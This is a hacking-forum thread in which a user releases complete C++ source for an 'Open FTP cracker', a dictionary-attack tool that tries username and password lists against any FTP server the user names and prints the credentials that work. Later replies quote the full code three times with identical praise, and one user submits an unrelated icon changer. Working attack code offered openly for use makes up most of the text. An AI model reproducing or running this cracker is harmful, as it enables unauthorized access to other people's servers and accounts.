RE: Your program in the official HC Programs? - Dreamwalker - 10-15-2013
OK, I've fixed the code, so here is my new release/submission to HC tools:
![[Image: ftp%20crack%20screen.jpg]](http://dreamwalk.yolasite.com/resources/ftp%20crack%20screen.jpg)
Open FTP cracker:
This is a remote password cracker for FTP servers that performs dictionary attacks in real time, which is very accurate. It uses WinInet and is coded in C++, you can add as many usernames and passwords to the files as you want and choose any target. As the title suggests it's completely open source (but please read our terms and conditions) and it includes a compiled win32 version, along with the "usernames.txt" and "passwords.txt" files with some basic combinations to get you started.
Note: as this is only beta, their are some things that need improving, such as the kill connection throttle to speed up cracking attempt iterations so keep checking for updates.
DOWNLOAD
And, @ArkPhaze and @Deque here is the updated code:
Code: #include <windows.h>
#include <wininet.h>
#include <iostream>
#include <string>
#include <fstream>
#pragma comment(lib, "Wininet")
int main()
{
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTitle("Open FTP cracker coded by Dreamwalker, http://Dreamwalk.yolasite.com/");
std::cout<<"Open FTP cracker beta 2.0 coded by Dreamwalker - HackCommunity.com \n_________________________________________________\n"<<std::endl;
std::string usernames = "", passwords = "", target = "", temp = "";
//init wininet functions
HINTERNET hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
if(!hInternet)
{
std::cout<<"Error starting WinInet, please close this application"<<std::endl;
std::cin>>temp;
return -1;
}
//get files
std::ifstream user_reader("usernames.txt");
std::ifstream pass_reader("passwords.txt");
//file error handling
if((!user_reader)||(!pass_reader))
{
std::cout<<"Error opening one of the input files "<<std::endl;
std::cout<<"ensure \"usernames.txt\" and \"passwords.txt\" are in the same"<<std::endl;
std::cout<<"directory as this application, please close this application\n"<<std::endl;
std::cin>>temp;
return -1;
}
//get target server
std::cout<<"What is the target FTP server?:"<<std::endl;
std::cin>>target;
//get first username to be used in loop
getline(user_reader,usernames);
//go through all passwords on one username then continue to next username until list has finished
int attempts = 0;
HINTERNET hFtpSession = NULL;
while(!user_reader.eof())
{
SetConsoleTextAttribute(hConsole, 7);
attempts++;
getline(pass_reader,passwords);
std::cout<<"Trying username "+usernames+" with password "+passwords+" attempts "<<attempts<<" ";
//Connect to FTP server with provided credentials
hFtpSession = InternetConnect(hInternet,target.c_str(),INTERNET_DEFAULT_FTP_PORT,usernames.c_str(),passwords.c_str(), INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE,0);
//is password cracked?
if(!hFtpSession)
{
SetConsoleTextAttribute(hConsole, 12);
std::cout<<"= FAIL"<<std::endl;
InternetCloseHandle(hFtpSession);
}
else if(hFtpSession)
{
SetConsoleTextAttribute(hConsole, 10);
std::cout<<"\n\nCracked "+target+"\nThe username is: \""+usernames+"\"\nPassword is: \""+passwords+"\""<<std::endl;
InternetCloseHandle(hFtpSession);
break;
}
if(pass_reader.eof())
{
//reset pass file
pass_reader.clear();
pass_reader.seekg(0,std::ios::beg);
//get next username
getline(user_reader,usernames);
}
}
InternetCloseHandle(hInternet);
pass_reader.close();
user_reader.close();
std::cout<<"\nFinished, please close this application"<<std::endl;
std::cin>>temp;
return 0;
}
RE: Your program in the official HC Programs? - Deque - 10-15-2013
Make a new thread with it. I will move it here.
RE: Your program in the official HC Programs? - Dreamwalker - 10-15-2013
(10-15-2013, 07:41 PM)Deque Wrote: Make a new thread with it. I will move it here.
http://www.hackcommunity.com/Thread-remote-FTP-Cracker-2-0-Free-and-open-source-coded-by-me
RE: Your program in the official HC Programs? - ArkPhaze - 10-16-2013
It's looking alright as far as I can tell now @"Dreamwalker". Remember to read my comment about getline() in this post though too: http://www.hackcommunity.com/Thread-Your-program-in-the-official-HC-Programs?pid=160990#pid160990
Avoiding what you're doing with cin is along the same lines why experienced C coders try to avoid using scanf().
RE: Your program in the official HC Programs? - gUm1Ho_T41L - 10-18-2013
thanks for this
RE: Your program in the official HC Programs? - chmod - 10-18-2013
(10-18-2013, 09:08 AM)gUm1Ho_T41L Wrote: thanks for this
Thanks for what? This thread is here for people to submit their work for our official tools. Don't spam the forum.
RE: Your program in the official HC Programs? - RaccoonCity_mybb_import13707 - 10-24-2013
(10-15-2013, 01:59 PM)Dreamwalker Wrote: OK, I've fixed the code, so here is my new release/submission to HC tools:
![[Image: ftp%20crack%20screen.jpg]](http://dreamwalk.yolasite.com/resources/ftp%20crack%20screen.jpg)
Open FTP cracker:
This is a remote password cracker for FTP servers that performs dictionary attacks in real time, which is very accurate. It uses WinInet and is coded in C++, you can add as many usernames and passwords to the files as you want and choose any target. As the title suggests it's completely open source (but please read our terms and conditions) and it includes a compiled win32 version, along with the "usernames.txt" and "passwords.txt" files with some basic combinations to get you started.
Note: as this is only beta, their are some things that need improving, such as the kill connection throttle to speed up cracking attempt iterations so keep checking for updates.
DOWNLOAD
And, @ArkPhaze and @Deque here is the updated code:
Code: #include <windows.h>
#include <wininet.h>
#include <iostream>
#include <string>
#include <fstream>
#pragma comment(lib, "Wininet")
int main()
{
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTitle("Open FTP cracker coded by Dreamwalker, http://Dreamwalk.yolasite.com/");
std::cout<<"Open FTP cracker beta 2.0 coded by Dreamwalker - HackCommunity.com \n_________________________________________________\n"<<std::endl;
std::string usernames = "", passwords = "", target = "", temp = "";
//init wininet functions
HINTERNET hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
if(!hInternet)
{
std::cout<<"Error starting WinInet, please close this application"<<std::endl;
std::cin>>temp;
return -1;
}
//get files
std::ifstream user_reader("usernames.txt");
std::ifstream pass_reader("passwords.txt");
//file error handling
if((!user_reader)||(!pass_reader))
{
std::cout<<"Error opening one of the input files "<<std::endl;
std::cout<<"ensure \"usernames.txt\" and \"passwords.txt\" are in the same"<<std::endl;
std::cout<<"directory as this application, please close this application\n"<<std::endl;
std::cin>>temp;
return -1;
}
//get target server
std::cout<<"What is the target FTP server?:"<<std::endl;
std::cin>>target;
//get first username to be used in loop
getline(user_reader,usernames);
//go through all passwords on one username then continue to next username until list has finished
int attempts = 0;
HINTERNET hFtpSession = NULL;
while(!user_reader.eof())
{
SetConsoleTextAttribute(hConsole, 7);
attempts++;
getline(pass_reader,passwords);
std::cout<<"Trying username "+usernames+" with password "+passwords+" attempts "<<attempts<<" ";
//Connect to FTP server with provided credentials
hFtpSession = InternetConnect(hInternet,target.c_str(),INTERNET_DEFAULT_FTP_PORT,usernames.c_str(),passwords.c_str(), INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE,0);
//is password cracked?
if(!hFtpSession)
{
SetConsoleTextAttribute(hConsole, 12);
std::cout<<"= FAIL"<<std::endl;
InternetCloseHandle(hFtpSession);
}
else if(hFtpSession)
{
SetConsoleTextAttribute(hConsole, 10);
std::cout<<"\n\nCracked "+target+"\nThe username is: \""+usernames+"\"\nPassword is: \""+passwords+"\""<<std::endl;
InternetCloseHandle(hFtpSession);
break;
}
if(pass_reader.eof())
{
//reset pass file
pass_reader.clear();
pass_reader.seekg(0,std::ios::beg);
//get next username
getline(user_reader,usernames);
}
}
InternetCloseHandle(hInternet);
pass_reader.close();
user_reader.close();
std::cout<<"\nFinished, please close this application"<<std::endl;
std::cin>>temp;
return 0;
}
Hey, real awesome job dude, does this come with a wordlist or is it built into the program? Real good job once again, keep it up!
RE: Your program in the official HC Programs? - RaccoonCity_mybb_import13707 - 10-24-2013
(10-15-2013, 01:59 PM)Dreamwalker Wrote: OK, I've fixed the code, so here is my new release/submission to HC tools:
![[Image: ftp%20crack%20screen.jpg]](http://dreamwalk.yolasite.com/resources/ftp%20crack%20screen.jpg)
Open FTP cracker:
This is a remote password cracker for FTP servers that performs dictionary attacks in real time, which is very accurate. It uses WinInet and is coded in C++, you can add as many usernames and passwords to the files as you want and choose any target. As the title suggests it's completely open source (but please read our terms and conditions) and it includes a compiled win32 version, along with the "usernames.txt" and "passwords.txt" files with some basic combinations to get you started.
Note: as this is only beta, their are some things that need improving, such as the kill connection throttle to speed up cracking attempt iterations so keep checking for updates.
DOWNLOAD
And, @ArkPhaze and @Deque here is the updated code:
Code: #include <windows.h>
#include <wininet.h>
#include <iostream>
#include <string>
#include <fstream>
#pragma comment(lib, "Wininet")
int main()
{
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTitle("Open FTP cracker coded by Dreamwalker, http://Dreamwalk.yolasite.com/");
std::cout<<"Open FTP cracker beta 2.0 coded by Dreamwalker - HackCommunity.com \n_________________________________________________\n"<<std::endl;
std::string usernames = "", passwords = "", target = "", temp = "";
//init wininet functions
HINTERNET hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
if(!hInternet)
{
std::cout<<"Error starting WinInet, please close this application"<<std::endl;
std::cin>>temp;
return -1;
}
//get files
std::ifstream user_reader("usernames.txt");
std::ifstream pass_reader("passwords.txt");
//file error handling
if((!user_reader)||(!pass_reader))
{
std::cout<<"Error opening one of the input files "<<std::endl;
std::cout<<"ensure \"usernames.txt\" and \"passwords.txt\" are in the same"<<std::endl;
std::cout<<"directory as this application, please close this application\n"<<std::endl;
std::cin>>temp;
return -1;
}
//get target server
std::cout<<"What is the target FTP server?:"<<std::endl;
std::cin>>target;
//get first username to be used in loop
getline(user_reader,usernames);
//go through all passwords on one username then continue to next username until list has finished
int attempts = 0;
HINTERNET hFtpSession = NULL;
while(!user_reader.eof())
{
SetConsoleTextAttribute(hConsole, 7);
attempts++;
getline(pass_reader,passwords);
std::cout<<"Trying username "+usernames+" with password "+passwords+" attempts "<<attempts<<" ";
//Connect to FTP server with provided credentials
hFtpSession = InternetConnect(hInternet,target.c_str(),INTERNET_DEFAULT_FTP_PORT,usernames.c_str(),passwords.c_str(), INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE,0);
//is password cracked?
if(!hFtpSession)
{
SetConsoleTextAttribute(hConsole, 12);
std::cout<<"= FAIL"<<std::endl;
InternetCloseHandle(hFtpSession);
}
else if(hFtpSession)
{
SetConsoleTextAttribute(hConsole, 10);
std::cout<<"\n\nCracked "+target+"\nThe username is: \""+usernames+"\"\nPassword is: \""+passwords+"\""<<std::endl;
InternetCloseHandle(hFtpSession);
break;
}
if(pass_reader.eof())
{
//reset pass file
pass_reader.clear();
pass_reader.seekg(0,std::ios::beg);
//get next username
getline(user_reader,usernames);
}
}
InternetCloseHandle(hInternet);
pass_reader.close();
user_reader.close();
std::cout<<"\nFinished, please close this application"<<std::endl;
std::cin>>temp;
return 0;
}
Hey, real awesome job dude, does this come with a wordlist or is it built into the program? Real good job once again, keep it up!
RE: Your program in the official HC Programs? - RaccoonCity_mybb_import13707 - 10-24-2013
(10-15-2013, 01:59 PM)Dreamwalker Wrote: OK, I've fixed the code, so here is my new release/submission to HC tools:
![[Image: ftp%20crack%20screen.jpg]](http://dreamwalk.yolasite.com/resources/ftp%20crack%20screen.jpg)
Open FTP cracker:
This is a remote password cracker for FTP servers that performs dictionary attacks in real time, which is very accurate. It uses WinInet and is coded in C++, you can add as many usernames and passwords to the files as you want and choose any target. As the title suggests it's completely open source (but please read our terms and conditions) and it includes a compiled win32 version, along with the "usernames.txt" and "passwords.txt" files with some basic combinations to get you started.
Note: as this is only beta, their are some things that need improving, such as the kill connection throttle to speed up cracking attempt iterations so keep checking for updates.
DOWNLOAD
And, @ArkPhaze and @Deque here is the updated code:
Code: #include <windows.h>
#include <wininet.h>
#include <iostream>
#include <string>
#include <fstream>
#pragma comment(lib, "Wininet")
int main()
{
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTitle("Open FTP cracker coded by Dreamwalker, http://Dreamwalk.yolasite.com/");
std::cout<<"Open FTP cracker beta 2.0 coded by Dreamwalker - HackCommunity.com \n_________________________________________________\n"<<std::endl;
std::string usernames = "", passwords = "", target = "", temp = "";
//init wininet functions
HINTERNET hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
if(!hInternet)
{
std::cout<<"Error starting WinInet, please close this application"<<std::endl;
std::cin>>temp;
return -1;
}
//get files
std::ifstream user_reader("usernames.txt");
std::ifstream pass_reader("passwords.txt");
//file error handling
if((!user_reader)||(!pass_reader))
{
std::cout<<"Error opening one of the input files "<<std::endl;
std::cout<<"ensure \"usernames.txt\" and \"passwords.txt\" are in the same"<<std::endl;
std::cout<<"directory as this application, please close this application\n"<<std::endl;
std::cin>>temp;
return -1;
}
//get target server
std::cout<<"What is the target FTP server?:"<<std::endl;
std::cin>>target;
//get first username to be used in loop
getline(user_reader,usernames);
//go through all passwords on one username then continue to next username until list has finished
int attempts = 0;
HINTERNET hFtpSession = NULL;
while(!user_reader.eof())
{
SetConsoleTextAttribute(hConsole, 7);
attempts++;
getline(pass_reader,passwords);
std::cout<<"Trying username "+usernames+" with password "+passwords+" attempts "<<attempts<<" ";
//Connect to FTP server with provided credentials
hFtpSession = InternetConnect(hInternet,target.c_str(),INTERNET_DEFAULT_FTP_PORT,usernames.c_str(),passwords.c_str(), INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE,0);
//is password cracked?
if(!hFtpSession)
{
SetConsoleTextAttribute(hConsole, 12);
std::cout<<"= FAIL"<<std::endl;
InternetCloseHandle(hFtpSession);
}
else if(hFtpSession)
{
SetConsoleTextAttribute(hConsole, 10);
std::cout<<"\n\nCracked "+target+"\nThe username is: \""+usernames+"\"\nPassword is: \""+passwords+"\""<<std::endl;
InternetCloseHandle(hFtpSession);
break;
}
if(pass_reader.eof())
{
//reset pass file
pass_reader.clear();
pass_reader.seekg(0,std::ios::beg);
//get next username
getline(user_reader,usernames);
}
}
InternetCloseHandle(hInternet);
pass_reader.close();
user_reader.close();
std::cout<<"\nFinished, please close this application"<<std::endl;
std::cin>>temp;
return 0;
}
Hey, real awesome job dude, does this come with a wordlist or is it built into the program? Real good job once again, keep it up!
RE: Your program in the official HC Programs? - CPlus - 12-18-2013
I would like to enter this http://www.hackcommunity.com/Thread-Release-Simple-Icon-Changer-by-CPlus
For review and maybe a place along side other HC Tools.
Its a small Icon Changer supports old and new .ICO files.
After reading the rules for HC tools I understand a Logo / Banner is needed.
This is no problem to implement, if the tool is approved.
Cheers
CPlus
|